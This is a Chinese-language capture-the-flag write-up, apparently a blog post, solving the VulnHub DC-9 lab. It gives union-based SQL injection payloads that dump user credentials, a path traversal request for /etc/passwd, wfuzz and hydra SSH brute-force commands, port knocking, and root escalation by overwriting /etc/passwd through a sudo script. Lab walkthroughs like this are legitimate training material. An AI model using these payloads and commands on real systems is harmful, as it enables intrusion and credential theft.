vulnhub-DC-9 SQL注入、“ssh端口敲门”、hydra爆破
一、信息收集 2025.3.12 AM 9:15
1、首先拿到靶场先扫一下ip
arp-scan -l
2、指纹扫描
nmmap -sS -T4 -A 192.168.66.181 看看开放哪些端口
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian))
3、访问端口
这里一个22端口和80端口,线索就在80端口里然后22端口连ssh
ok,这里我列出了3张图片,肯定是要拿这个网页作为突破口了,我们在后台扫的目录也看一下,收集一下有用信息
4、后台扫目录
无论我们在80端口得到什么信息都要扫一下目录,在看80端口时候,后台就扫描完成了
5、寻找突破口
这里是找到了两个文件目录
1、探测sql注入的存在
这里万能语法是存在的所以我们顺着线查询
Mary' and 1=1 union select 1,2,3,4,5,6 -- +
mysql是我的一个弱势点
因为信息泄露了6个用户,所以选择到6
2、爆库
Mary' and 1=1 union select 1,database(),3,4,5,6 -- + 这是在第二个位置尝试爆库,这里是爆除了一个Staff库
3、爆表
Mary' and 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5,6 -- +
这里是我们拼接的语句,把2的替换成上面语法。
4、爆列
Mary' and 1=1 union select 1, (select group_concat(username,0x3a,password) from Users),3,4,5,6 -- +
这里得到了一串加密,我们去判断一下加密类型
这是一个md5加密,我们尝试解密一下
至此我们得到了一组账户密码,我们登陆一下后台
后台只是多了一个添加账号页面 之前还有几个库,我们切换一下查询其他库
另一个库,爆3的库
Mary' and 1=1 union select 1,2,database(),4,5,6 -- +
Mary' and 1=1 union select 1, 2,(select group_concat(schema_name) from information_schema.schemata),4,5,6 -- +
爆表 Mary' and 1=1 union select 1, 2,(select group_concat(table_name) from information_schema.tables where table_schema="users"),4,5,6 -- +
爆列 这里是爆UserDetails这个列,然后我们得到很多账号、密码
Mary' and 1=1 union select 1, 2,(select group_concat(username,0x3a,password) from users.UserDetails),4,5,6 -- +
4、寻找突破口
http://192.168.66.181/manage.php?file=../../../../../../../etc/passwd
这里是看了其他师傅的ep,可以找一下etc/passwd文件wfuzz -b 'PHPSESSID: cq37qk0rm79oh8vtgk2h56lq8p' --hw 100 -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.1.136/manage.php?FUZZ=index.php
这段是模糊测试,是个新思路
这里是爆出来了passwd文件
5、hydra爆破ssh
hydra -L user-dict -P pass-dict 192.168.66.181 ssh
把账户都放在user-dict中,然后爆破0
爆破失败但是开放了22端口,有以下三种情况 1、端口被限制(防火墙) 2、用户被限制登录 3、运行了knockd服务 在靶机环境下我们可以判断是第三种情况,但是我也没了解过这个knockd,去查询一下,了解之后发现我们需要敲门才能连接22端口,我们遍历一下目录然后找一下knockd文件
这种方式确实可以很有效防止黑客访问22端口
hydra -L 1.txt -P 2.txt 192.168.66.181 ssh
这里把我们得到的账户和密码放在两个txt中然后爆破
在这里我们得到了三组账户密码 janitor有一个隐藏文件,我们进入查看一下
这里又是几个密码,我们再爆破一下
sudo -l 这里发现了一个root的文件
这里执行了一下test文件,需要我们读test.py这个文件
我们在这个目录下找到了test.py文件,我们查看一下这个文件
这里大概懂了,比方说我们创建了一个文件1,一个文件2,然后我们在文件1中写入指令,然后运行test就可以将文件1中的指令传输到文件2中的指令,并且test是root权限,也就是说我们有很多提权方式,我们也可以创建一个自己的passwd然后写入到/etc/passwd中,提权成功
6、提权
写入/etc/passwd提权
那么思路有了,我们就仿造一条这个passwd,密码通过openssl加密即可 ruler:ruler:0:0:root:/root:/usr/bin/zsh 这个是openssl加密指令 openssl passwd -1 -salt abcde abcde -1是md5加密,-salt是生成随机数加密,ruler是账户和密码 此时我们的passwd就是下面这一条 abcde:abcde$IW5QjS/lrsh9SNQqIDeKr1:0:0:root:root:/bin/bash 拿下提权
这里还是有些小的雷区的,注意passwd的构造 最后执行命令sudo ./test /tmp/passwd.txt /etc/passwd
后续我也会出更多打靶文章,希望大家关注!谢谢。